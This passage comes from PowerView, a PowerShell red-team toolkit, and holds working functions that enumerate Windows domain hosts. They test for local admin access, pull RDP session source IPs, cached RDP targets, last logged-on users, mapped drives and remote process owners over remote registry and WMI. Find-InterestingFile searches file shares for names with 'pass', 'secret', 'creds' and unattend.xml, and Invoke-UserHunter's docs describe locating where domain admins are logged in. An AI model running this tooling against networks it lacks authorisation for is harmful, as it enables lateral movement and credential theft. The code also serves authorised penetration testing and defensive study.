7376 }
7377
7378 $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
7379 $RDPSession | Add-Member Noteproperty 'State' $Info.State
7380
7381 $ppBuffer = [IntPtr]::Zero
7382 $pBytesReturned = 0
7383
7384 # query for the source client IP with WTSQuerySessionInformation
7385 # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
7386 $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
7387
7388 if($Result -eq 0) {
7389 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"
7390 }
7391 else {
7392 $Offset2 = $ppBuffer.ToInt64()
7393 $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
7394 $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
7395
7396 $SourceIP = $Info2.Address
7397 if($SourceIP[2] -ne 0) {
7398 $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5]
7399 }
7400 else {
7401 $SourceIP = $Null
7402 }
7403
7404 $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
7405 $RDPSession
7406
7407 # free up the memory buffer
7408 $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
7409
7410 $Offset += $Increment
7411 }
7412 }
7413 # free up the memory result buffer
7414 $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
7415 }
7416 else {
7417 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
7418 }
7419 # Close off the service handle
7420 $Null = $Wtsapi32::WTSCloseServer($Handle)
7421 }
7422 else {
7423 Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"
7424 }
7425}
7426
7427
7428filter Invoke-CheckLocalAdminAccess {
7429<#
7430 .SYNOPSIS
7431 This function will use the OpenSCManagerW Win32API call to establish
7432 a handle to the remote host. If this succeeds, the current user context
7433 has local administrator acess to the target.
7434 Idea stolen from the local_admin_search_enum post module in Metasploit written by:
7435 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
7436 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
7437 'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
7438 .PARAMETER ComputerName
7439 The hostname to query for active sessions.
7440 .OUTPUTS
7441 $True if the current user has local admin access to the hostname, $False otherwise
7442 .EXAMPLE
7443 PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver
7444 Returns active sessions on the local host.
7445 .EXAMPLE
7446 PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess
7447 Sees what machines in the domain the current user has access to.
7448 .LINK
7449 https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
7450 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
7451#>
7452
7453 [CmdletBinding()]
7454 param(
7455 [Parameter(ValueFromPipeline=$True)]
7456 [Alias('HostName')]
7457 [Object[]]
7458 [ValidateNotNullOrEmpty()]
7459 $ComputerName = 'localhost'
7460 )
7461
7462 # extract the computer name from whatever object was passed on the pipeline
7463 $Computer = $ComputerName | Get-NameField
7464
7465 # 0xF003F - SC_MANAGER_ALL_ACCESS
7466 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
7467 $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
7468
7469 Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle"
7470
7471 $IsAdmin = New-Object PSObject
7472 $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
7473
7474 # if we get a non-zero handle back, everything was successful
7475 if ($Handle -ne 0) {
7476 $Null = $Advapi32::CloseServiceHandle($Handle)
7477 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
7478 }
7479 else {
7480 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
7481 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
7482 }
7483
7484 $IsAdmin
7485}
7486
7487
7488filter Get-SiteName {
7489<#
7490 .SYNOPSIS
7491 This function will use the DsGetSiteName Win32API call to look up the
7492 name of the site where a specified computer resides.
7493 .PARAMETER ComputerName
7494 The hostname to look the site up for, default to localhost.
7495 .EXAMPLE
7496 PS C:\> Get-SiteName -ComputerName WINDOWS1
7497 Returns the site for WINDOWS1.testlab.local.
7498 .EXAMPLE
7499 PS C:\> Get-NetComputer | Get-SiteName
7500 Returns the sites for every machine in AD.
7501#>
7502 [CmdletBinding()]
7503 param(
7504 [Parameter(ValueFromPipeline=$True)]
7505 [Alias('HostName')]
7506 [Object[]]
7507 [ValidateNotNullOrEmpty()]
7508 $ComputerName = $Env:ComputerName
7509 )
7510
7511 # extract the computer name from whatever object was passed on the pipeline
7512 $Computer = $ComputerName | Get-NameField
7513
7514 # if we get an IP address, try to resolve the IP to a hostname
7515 if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
7516 $IPAddress = $Computer
7517 $Computer = [System.Net.Dns]::GetHostByAddress($Computer)
7518 }
7519 else {
7520 $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress
7521 }
7522
7523 $PtrInfo = [IntPtr]::Zero
7524
7525 $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
7526
7527 $ComputerSite = New-Object PSObject
7528 $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
7529 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
7530
7531 if ($Result -eq 0) {
7532 $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
7533 $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
7534 }
7535 else {
7536 $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
7537 $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage
7538 }
7539
7540 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
7541
7542 $ComputerSite
7543}
7544
7545
7546filter Get-LastLoggedOn {
7547<#
7548 .SYNOPSIS
7549 This function uses remote registry functionality to return
7550 the last user logged onto a target machine.
7551 Note: This function requires administrative rights on the
7552 machine you're enumerating.
7553 .PARAMETER ComputerName
7554 The hostname to query for the last logged on user.
7555 Defaults to the localhost.
7556 .PARAMETER Credential
7557 A [Management.Automation.PSCredential] object for the remote connection.
7558 .EXAMPLE
7559 PS C:\> Get-LastLoggedOn
7560 Returns the last user logged onto the local machine.
7561 .EXAMPLE
7562
7563 PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1
7564 Returns the last user logged onto WINDOWS1
7565 .EXAMPLE
7566
7567 PS C:\> Get-NetComputer | Get-LastLoggedOn
7568 Returns the last user logged onto all machines in the domain.
7569#>
7570
7571 [CmdletBinding()]
7572 param(
7573 [Parameter(ValueFromPipeline=$True)]
7574 [Alias('HostName')]
7575 [Object[]]
7576 [ValidateNotNullOrEmpty()]
7577 $ComputerName = 'localhost',
7578
7579 [Management.Automation.PSCredential]
7580 $Credential
7581 )
7582
7583 # extract the computer name from whatever object was passed on the pipeline
7584 $Computer = $ComputerName | Get-NameField
7585
7586 # HKEY_LOCAL_MACHINE
7587 $HKLM = 2147483650
7588
7589 # try to open up the remote registry key to grab the last logged on user
7590 try {
7591
7592 if($Credential) {
7593 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
7594 }
7595 else {
7596 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
7597 }
7598
7599 $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"
7600 $Value = "LastLoggedOnUser"
7601 $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
7602
7603 $LastLoggedOn = New-Object PSObject
7604 $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
7605 $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
7606 $LastLoggedOn
7607 }
7608 catch {
7609 Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled."
7610 }
7611}
7612
7613
7614filter Get-CachedRDPConnection {
7615<#
7616 .SYNOPSIS
7617 Uses remote registry functionality to query all entries for the
7618 "Windows Remote Desktop Connection Client" on a machine, separated by
7619 user and target server.
7620 Note: This function requires administrative rights on the
7621 machine you're enumerating.
7622 .PARAMETER ComputerName
7623 The hostname to query for RDP client information.
7624 Defaults to localhost.
7625 .PARAMETER Credential
7626 A [Management.Automation.PSCredential] object for the remote connection.
7627 .EXAMPLE
7628 PS C:\> Get-CachedRDPConnection
7629 Returns the RDP connection client information for the local machine.
7630 .EXAMPLE
7631 PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local
7632 Returns the RDP connection client information for the WINDOWS2.testlab.local machine
7633 .EXAMPLE
7634 PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred
7635 Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials.
7636 .EXAMPLE
7637 PS C:\> Get-NetComputer | Get-CachedRDPConnection
7638 Get cached RDP information for all machines in the domain.
7639#>
7640
7641 [CmdletBinding()]
7642 param(
7643 [Parameter(ValueFromPipeline=$True)]
7644 [Alias('HostName')]
7645 [Object[]]
7646 [ValidateNotNullOrEmpty()]
7647 $ComputerName = 'localhost',
7648
7649 [Management.Automation.PSCredential]
7650 $Credential
7651 )
7652
7653 # extract the computer name from whatever object was passed on the pipeline
7654 $Computer = $ComputerName | Get-NameField
7655
7656 # HKEY_USERS
7657 $HKU = 2147483651
7658
7659 try {
7660 if($Credential) {
7661 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
7662 }
7663 else {
7664 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
7665 }
7666
7667 # extract out the SIDs of domain users in this hive
7668 $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
7669
7670 foreach ($UserSID in $UserSIDs) {
7671
7672 try {
7673 $UserName = Convert-SidToName $UserSID
7674
7675 # pull out all the cached RDP connections
7676 $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
7677
7678 foreach ($Connection in $ConnectionKeys) {
7679 # make sure this key is a cached connection
7680 if($Connection -match 'MRU.*') {
7681 $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
7682
7683 $FoundConnection = New-Object PSObject
7684 $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
7685 $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
7686 $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
7687 $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
7688 $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
7689 $FoundConnection
7690 }
7691 }
7692
7693 # pull out all the cached server info with username hints
7694 $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
7695
7696 foreach ($Server in $ServerKeys) {
7697
7698 $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
7699
7700 $FoundConnection = New-Object PSObject
7701 $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
7702 $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
7703 $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
7704 $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
7705 $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
7706 $FoundConnection
7707 }
7708
7709 }
7710 catch {
7711 Write-Verbose "Error: $_"
7712 }
7713 }
7714
7715 }
7716 catch {
7717 Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
7718 }
7719}
7720
7721
7722filter Get-RegistryMountedDrive {
7723<#
7724 .SYNOPSIS
7725 Uses remote registry functionality to query all entries for the
7726 the saved network mounted drive on a machine, separated by
7727 user and target server.
7728 Note: This function requires administrative rights on the
7729 machine you're enumerating.
7730 .PARAMETER ComputerName
7731 The hostname to query for RDP client information.
7732 Defaults to localhost.
7733 .PARAMETER Credential
7734 A [Management.Automation.PSCredential] object for the remote connection.
7735 .EXAMPLE
7736 PS C:\> Get-RegistryMountedDrive
7737 Returns the saved network mounted drives for the local machine.
7738 .EXAMPLE
7739 PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local
7740 Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
7741 .EXAMPLE
7742 PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred
7743 Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials.
7744 .EXAMPLE
7745 PS C:\> Get-NetComputer | Get-RegistryMountedDrive
7746 Get the saved network mounted drives for all machines in the domain.
7747#>
7748
7749 [CmdletBinding()]
7750 param(
7751 [Parameter(ValueFromPipeline=$True)]
7752 [Alias('HostName')]
7753 [Object[]]
7754 [ValidateNotNullOrEmpty()]
7755 $ComputerName = 'localhost',
7756
7757 [Management.Automation.PSCredential]
7758 $Credential
7759 )
7760
7761 # extract the computer name from whatever object was passed on the pipeline
7762 $Computer = $ComputerName | Get-NameField
7763
7764 # HKEY_USERS
7765 $HKU = 2147483651
7766
7767 try {
7768 if($Credential) {
7769 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
7770 }
7771 else {
7772 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
7773 }
7774
7775 # extract out the SIDs of domain users in this hive
7776 $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
7777
7778 foreach ($UserSID in $UserSIDs) {
7779
7780 try {
7781 $UserName = Convert-SidToName $UserSID
7782
7783 $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames
7784
7785 ForEach($DriveLetter in $DriveLetters) {
7786 $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue
7787 $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue
7788 $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue
7789 if(-not $UserName) { $UserName = '' }
7790
7791 if($RemotePath -and ($RemotePath -ne '')) {
7792 $MountedDrive = New-Object PSObject
7793 $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
7794 $MountedDrive | Add-Member Noteproperty 'UserName' $UserName
7795 $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
7796 $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
7797 $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
7798 $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
7799 $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
7800 $MountedDrive
7801 }
7802 }
7803 }
7804 catch {
7805 Write-Verbose "Error: $_"
7806 }
7807 }
7808 }
7809 catch {
7810 Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
7811 }
7812}
7813
7814
7815filter Get-NetProcess {
7816<#
7817 .SYNOPSIS
7818 Gets a list of processes/owners on a remote machine.
7819 .PARAMETER ComputerName
7820 The hostname to query processes. Defaults to the local host name.
7821 .PARAMETER Credential
7822 A [Management.Automation.PSCredential] object for the remote connection.
7823 .EXAMPLE
7824 PS C:\> Get-NetProcess -ComputerName WINDOWS1
7825
7826 Returns the current processes for WINDOWS1
7827#>
7828
7829 [CmdletBinding()]
7830 param(
7831 [Parameter(ValueFromPipeline=$True)]
7832 [Alias('HostName')]
7833 [Object[]]
7834 [ValidateNotNullOrEmpty()]
7835 $ComputerName = [System.Net.Dns]::GetHostName(),
7836
7837 [Management.Automation.PSCredential]
7838 $Credential
7839 )
7840
7841 # extract the computer name from whatever object was passed on the pipeline
7842 $Computer = $ComputerName | Get-NameField
7843
7844 try {
7845 if($Credential) {
7846 $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential
7847 }
7848 else {
7849 $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName
7850 }
7851
7852 $Processes | ForEach-Object {
7853 $Owner = $_.getowner();
7854 $Process = New-Object PSObject
7855 $Process | Add-Member Noteproperty 'ComputerName' $Computer
7856 $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
7857 $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
7858 $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
7859 $Process | Add-Member Noteproperty 'User' $Owner.User
7860 $Process
7861 }
7862 }
7863 catch {
7864 Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_"
7865 }
7866}
7867
7868
7869function Find-InterestingFile {
7870<#
7871 .SYNOPSIS
7872 This function recursively searches a given UNC path for files with
7873 specific keywords in the name (default of pass, sensitive, secret, admin,
7874 login and unattend*.xml). The output can be piped out to a csv with the
7875 -OutFile flag. By default, hidden files/folders are included in search results.
7876 .PARAMETER Path
7877 UNC/local path to recursively search.
7878 .PARAMETER Terms
7879 Terms to search for.
7880 .PARAMETER OfficeDocs
7881 Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
7882 .PARAMETER FreshEXEs
7883 Switch. Find .EXEs accessed within the last week.
7884 .PARAMETER LastAccessTime
7885 Only return files with a LastAccessTime greater than this date value.
7886 .PARAMETER LastWriteTime
7887 Only return files with a LastWriteTime greater than this date value.
7888 .PARAMETER CreationTime
7889 Only return files with a CreationTime greater than this date value.
7890 .PARAMETER ExcludeFolders
7891 Switch. Exclude folders from the search results.
7892 .PARAMETER ExcludeHidden
7893 Switch. Exclude hidden files and folders from the search results.
7894 .PARAMETER CheckWriteAccess
7895 Switch. Only returns files the current user has write access to.
7896 .PARAMETER OutFile
7897 Output results to a specified csv output file.
7898 .PARAMETER UsePSDrive
7899 Switch. Mount target remote path with temporary PSDrives.
7900 .OUTPUTS
7901 The full path, owner, lastaccess time, lastwrite time, and size for each found file.
7902 .EXAMPLE
7903 PS C:\> Find-InterestingFile -Path C:\Backup\
7904
7905 Returns any files on the local path C:\Backup\ that have the default
7906 search term set in the title.
7907 .EXAMPLE
7908 PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv
7909
7910 Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries'
7911 or 'email' in the title, and writes the results out to a csv file
7912 named 'out.csv'
7913 .EXAMPLE
7914 PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7)
7915 Returns any files on the remote path \\WINDOWS7\Users\ that have the default
7916 search term set in the title and were accessed within the last week.
7917 .LINK
7918
7919 http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
7920#>
7921
7922 param(
7923 [Parameter(ValueFromPipeline=$True)]
7924 [String]
7925 $Path = '.\',
7926
7927 [Alias('Terms')]
7928 [String[]]
7929 $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'),
7930
7931 [Switch]
7932 $OfficeDocs,
7933
7934 [Switch]
7935 $FreshEXEs,
7936
7937 [String]
7938 $LastAccessTime,
7939
7940 [String]
7941 $LastWriteTime,
7942
7943 [String]
7944 $CreationTime,
7945
7946 [Switch]
7947 $ExcludeFolders,
7948
7949 [Switch]
7950 $ExcludeHidden,
7951
7952 [Switch]
7953 $CheckWriteAccess,
7954
7955 [String]
7956 $OutFile,
7957
7958 [Switch]
7959 $UsePSDrive
7960 )
7961
7962 begin {
7963
7964 $Path += if(!$Path.EndsWith('\')) {"\"}
7965
7966 if ($Credential) {
7967 $UsePSDrive = $True
7968 }
7969
7970 # append wildcards to the front and back of all search terms
7971 $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} }
7972
7973 # search just for office documents if specified
7974 if ($OfficeDocs) {
7975 $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
7976 }
7977
7978 # find .exe's accessed within the last 7 days
7979 if($FreshEXEs) {
7980 # get an access time limit of 7 days ago
7981 $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
7982 $SearchTerms = '*.exe'
7983 }
7984
7985 if($UsePSDrive) {
7986 # if we're PSDrives, create a temporary mount point
7987
7988 $Parts = $Path.split('\')
7989 $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
7990 $FilePath = $Parts[-1]
7991
7992 $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
7993
7994 Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive"
7995
7996 try {
7997 $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
7998 }
7999 catch {
8000 Write-Verbose "Error mounting path '$Path' : $_"
8001 return $Null
8002 }
8003
8004 # so we can cd/dir the new drive
8005 $Path = "${RandDrive}:\${FilePath}"
8006 }
8007 }
8008
8009 process {
8010
8011 Write-Verbose "[*] Search path $Path"
8012
8013 function Invoke-CheckWrite {
8014 # short helper to check is the current user can write to a file
8015 [CmdletBinding()]param([String]$Path)
8016 try {
8017 $Filetest = [IO.FILE]::OpenWrite($Path)
8018 $Filetest.Close()
8019 $True
8020 }
8021 catch {
8022 Write-Verbose -Message $Error[0]
8023 $False
8024 }
8025 }
8026
8027 $SearchArgs = @{
8028 'Path' = $Path
8029 'Recurse' = $True
8030 'Force' = $(-not $ExcludeHidden)
8031 'Include' = $SearchTerms
8032 'ErrorAction' = 'SilentlyContinue'
8033 }
8034
8035 Get-ChildItem @SearchArgs | ForEach-Object {
8036 Write-Verbose $_
8037 # check if we're excluding folders
8038 if(!$ExcludeFolders -or !$_.PSIsContainer) {$_}
8039 } | ForEach-Object {
8040 if($LastAccessTime -or $LastWriteTime -or $CreationTime) {
8041 if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_}
8042 elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_}
8043 elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_}
8044 }
8045 else {$_}
8046 } | ForEach-Object {
8047 # filter for write access (if applicable)
8048 if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_}
8049 } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object {
8050 # check if we're outputting to the pipeline or an output file
8051 if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile}
8052 else {$_}
8053 }
8054 }
8055
8056 end {
8057 if($UsePSDrive -and $RandDrive) {
8058 Write-Verbose "Removing temp PSDrive $RandDrive"
8059 Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
8060 }
8061 }
8062}
8063
8064
8065########################################################
8066#
8067# 'Meta'-functions start below
8068#
8069########################################################
8070
8071function Invoke-ThreadedFunction {
8072 # Helper used by any threaded host enumeration functions
8073 [CmdletBinding()]
8074 param(
8075 [Parameter(Position=0,Mandatory=$True)]
8076 [String[]]
8077 $ComputerName,
8078
8079 [Parameter(Position=1,Mandatory=$True)]
8080 [System.Management.Automation.ScriptBlock]
8081 $ScriptBlock,
8082
8083 [Parameter(Position=2)]
8084 [Hashtable]
8085 $ScriptParameters,
8086
8087 [Int]
8088 [ValidateRange(1,100)]
8089 $Threads = 20,
8090
8091 [Switch]
8092 $NoImports
8093 )
8094
8095 begin {
8096
8097 if ($PSBoundParameters['Debug']) {
8098 $DebugPreference = 'Continue'
8099 }
8100
8101 Write-Verbose "[*] Total number of hosts: $($ComputerName.count)"
8102
8103 # Adapted from:
8104 # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
8105 $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
8106 $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
8107
8108 # import the current session state's variables and functions so the chained PowerView
8109 # functionality can be used by the threaded blocks
8110 if(!$NoImports) {
8111
8112 # grab all the current variables for this runspace
8113 $MyVars = Get-Variable -Scope 2
8114
8115 # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
8116 $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true")
8117
8118 # Add Variables from Parent Scope (current runspace) into the InitialSessionState
8119 ForEach($Var in $MyVars) {
8120 if($VorbiddenVars -NotContains $Var.Name) {
8121 $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
8122 }
8123 }
8124
8125 # Add Functions from current runspace to the InitialSessionState
8126 ForEach($Function in (Get-ChildItem Function:)) {
8127 $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
8128 }
8129 }
8130
8131 # threading adapted from
8132 # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
8133 # Thanks Carlos!
8134
8135 # create a pool of maxThread runspaces
8136 $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
8137 $Pool.Open()
8138
8139 $method = $null
8140 ForEach ($m in [PowerShell].GetMethods() | Where-Object { $_.Name -eq "BeginInvoke" }) {
8141 $methodParameters = $m.GetParameters()
8142 if (($methodParameters.Count -eq 2) -and $methodParameters[0].Name -eq "input" -and $methodParameters[1].Name -eq "output") {
8143 $method = $m.MakeGenericMethod([Object], [Object])
8144 break
8145 }
8146 }
8147
8148 $Jobs = @()
8149 }
8150
8151 process {
8152
8153 ForEach ($Computer in $ComputerName) {
8154
8155 # make sure we get a server name
8156 if ($Computer -ne '') {
8157 # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))"
8158
8159 While ($($Pool.GetAvailableRunspaces()) -le 0) {
8160 Start-Sleep -MilliSeconds 500
8161 }
8162
8163 # create a "powershell pipeline runner"
8164 $p = [powershell]::create()
8165
8166 $p.runspacepool = $Pool
8167
8168 # add the script block + arguments
8169 $Null = $p.AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)
8170 if($ScriptParameters) {
8171 ForEach ($Param in $ScriptParameters.GetEnumerator()) {
8172 $Null = $p.AddParameter($Param.Name, $Param.Value)
8173 }
8174 }
8175
8176 $o = New-Object Management.Automation.PSDataCollection[Object]
8177
8178 $Jobs += @{
8179 PS = $p
8180 Output = $o
8181 Result = $method.Invoke($p, @($null, [Management.Automation.PSDataCollection[Object]]$o))
8182 }
8183 }
8184 }
8185 }
8186
8187 end {
8188 Write-Verbose "Waiting for threads to finish..."
8189
8190 Do {
8191 ForEach ($Job in $Jobs) {
8192 $Job.Output.ReadAll()
8193 }
8194 } While (($Jobs | Where-Object { ! $_.Result.IsCompleted }).Count -gt 0)
8195
8196 ForEach ($Job in $Jobs) {
8197 $Job.PS.Dispose()
8198 }
8199
8200 $Pool.Dispose()
8201 Write-Verbose "All threads completed!"
8202 }
8203}
8204
8205
8206function Invoke-UserHunter {
8207<#
8208 .SYNOPSIS
8209 Finds which machines users of a specified group are logged into.
8210 Author: @harmj0y
8211 License: BSD 3-Clause
8212 .DESCRIPTION
8213 This function finds the local domain name for a host using Get-NetDomain,
8214 queries the domain for users of a specified group (default "domain admins")
8215 with Get-NetGroupMember or reads in a target user list, queries the domain for all
8216 active machines with Get-NetComputer or reads in a pre-populated host list,
8217 randomly shuffles the target list, then for each server it gets a list of
8218 active users with Get-NetSession/Get-NetLoggedon. The found user list is compared
8219 against the target list, and a status message is displayed for any hits.
8220 The flag -CheckAccess will check each positive host to see if the current
8221 user has local admin access to the machine.
8222 .PARAMETER ComputerName
8223 Host array to enumerate, passable on the pipeline.
8224 .PARAMETER ComputerFile
8225 File of hostnames/IPs to search.
8226 .PARAMETER ComputerFilter
8227 Host filter name to query AD for, wildcards accepted.
8228 .PARAMETER ComputerADSpath
8229 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
8230 Useful for OU queries.
8231 .PARAMETER Unconstrained
8232 Switch. Only enumerate computers that have unconstrained delegation.
8233 .PARAMETER GroupName
8234 Group name to query for target users.
8235 .PARAMETER TargetServer
8236 Hunt for users who are effective local admins on a target server.
8237 .PARAMETER UserName
8238 Specific username to search for.
